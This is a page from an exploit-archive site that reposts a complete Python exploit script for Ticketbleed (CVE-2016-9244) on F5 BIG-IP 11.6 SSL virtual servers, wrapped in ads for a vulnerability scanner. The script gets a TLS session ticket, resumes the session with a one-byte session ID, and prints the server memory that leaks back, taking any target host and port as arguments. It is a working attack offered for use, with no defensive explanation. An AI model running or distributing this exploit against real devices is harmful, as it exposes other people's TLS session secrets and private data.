f5 bigip 11.6 ssl virtual server ticketbleed memory disclosure

▸▸▸ Exploit & Vulnerability >>   remote exploit & hardware vulnerability




f5 bigip 11.6 ssl virtual server ticketbleed memory disclosure Code Code...
				
# -*- coding: utf-8 -*- #!/usr/bin/python # Exploit Title: Ticketbleed # Google Dork: n/a # Date: Exploit: 02/13/17, Advisory Published: 02/09/17 # Exploit Author: @0x00string # Vendor Homepage: https://f5.com/ # Software Link: https://support.f5.com/csp/article/K05121675 # Version: see software link for versions # Tested on: F5 BIGIP 11.6 # CVE : CVE-2016-9244 # require: scapy_ssl_tls (https://github.com/tintinweb/scapy-ssl_tls) import re, getopt, sys, socket from struct import * try: from scapy_ssl_tls.ssl_tls import * except ImportError: from scapy.layers.ssl_tls import * def banner(): print ''' lol ty filippo! ty tintinweb! 0000000000000 0000000000000000000 00 00000000000000000000000000000 0000000000000000000000000000000 000000000 0000000000 00000000 0000000000 0000000 000000000000 0000000 000000000000000 000000 000000000 000000 0000000 000000000 000000 000000 000000000 000000 000000 000000000 000000 000000 00000000 000000 000000 000000000 000000 0000000 000000000 0000000 000000 000000000 000000 0000000000000000 0000000 0000000000000 0000000 00000000000 00000000 00000000000 000000000 0000000000000000000000000000000 00000000000000000000000000000 000 0000000000000000000 0000000000000 @0x00string https://github.com/0x00string/oldays/blob/master/CVE-2016-9244.py ''' def usage (): print ("python script.py <args>\n" " -h, --help: Show this message\n" " -a, --rhost: Target IP address\n" " -b, --rport: Target port\n" "\n\n" "Examples:\n" "python script.py -a 10.10.10.10 -b 443\n" "python script.py --rhost 10.10.10.10 --rport 8443") exit() def pretty (t, m): if (t is "+"): print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n", elif (t is "-"): print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n", elif (t is "*"): print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n", elif (t is "!"): print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n", def createDump (input): d, b, h = '', [], [] u = list(input) for e in u: h.append(e.encode("hex")) if e == '0x0': b.append('0') elif 30 > ord(e) or ord(e) > 128: b.append('.') elif 30 < ord(e) or ord(e) < 128: b.append(e) i = 0 while i < len(h): if (len(h) - i ) >= 16: d += ' '.join(h[i:i+16]) d += " " d += ' '.join(b[i:i+16]) d += "\n" i = i + 16 else: d += ' '.join(h[i:(len(h) - 0 )]) pad = len(' '.join(h[i:(len(h) - 0 )])) d += ' ' * (56 - pad) d += ' '.join(b[i:(len(h) - 0 )]) d += "\n" i = i + len(h) return d def ticketBleed (rhost, rport): h = (rhost,int(rport)); version = TLSVersion.TLS_1_2 secret = "" session_ticket = "" sid = "" cipher = TLSCipherSuite.ECDHE_RSA_WITH_AES_256_CBC_SHA with TLSSocket(socket.socket(), client=True) as sock: sock.connect(h) ctx = sock.tls_ctx packet = TLSRecord() / TLSHandshake() / TLSClientHello(version=version, cipher_suites=TLS_CIPHER_SUITES.keys(), extensions=[TLSExtension() / TLSExtSessionTicketTLS(data="")]) sock.sendall(packet) sock.recvall() packet_ke = TLSRecord(version=version) / TLSHandshake() / ctx.get_client_kex_data() packet_ccs = TLSRecord(version=TLSVersion.TLS_1_2) / TLSChangeCipherSpec() sock.sendall(TLS.from_records([packet_ke, packet_ccs])) sock.sendall(to_raw(TLSFinished(), ctx)) ret = sock.recvall() session_ticket = ret[TLSSessionTicket].ticket secret = ctx.master_secret #pretty("*", "ctx 1: \n" + str(ctx)) with TLSSocket(socket.socket(), client=True) as sock: sock.connect(h) ctx = sock.tls_ctx packet = TLSRecord() / TLSHandshake() / TLSClientHello(version=TLSVersion.TLS_1_2, cipher_suites=TLS_CIPHER_SUITES.keys(), session_id="A", extensions=[TLSExtension() / TLSExtSessionTicketTLS(data=session_ticket)]) sock.tls_ctx.resume_session(secret) sock.sendall(packet) ret = sock.recvall() sid = ret[TLSServerHello].session_id #pretty("*", "ctx 2: \n" + str(ctx)) pretty("+", "bled 'A' + 31 bytes: \n" + createDump(sid)) def main(): rhost = None; rport = None; options, remainder = getopt.getopt(sys.argv[1:], 'a:b:h:', ['rhost=','rport=','help',]) for opt, arg in options: if opt in ('-h', '--help'): usage() elif opt in ('-a','--rhost'): rhost = arg; elif opt in ('-b','--rport'): rport = arg; banner() if rhost is None or rport is None: usage() ticketBleed(rhost,rport) exit(0); if __name__ == "__main__": main()

F5 bigip 11.6 ssl virtual server ticketbleed memory disclosure Vulnerability / Exploit Source : F5 bigip 11.6 ssl virtual server ticketbleed memory disclosure



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.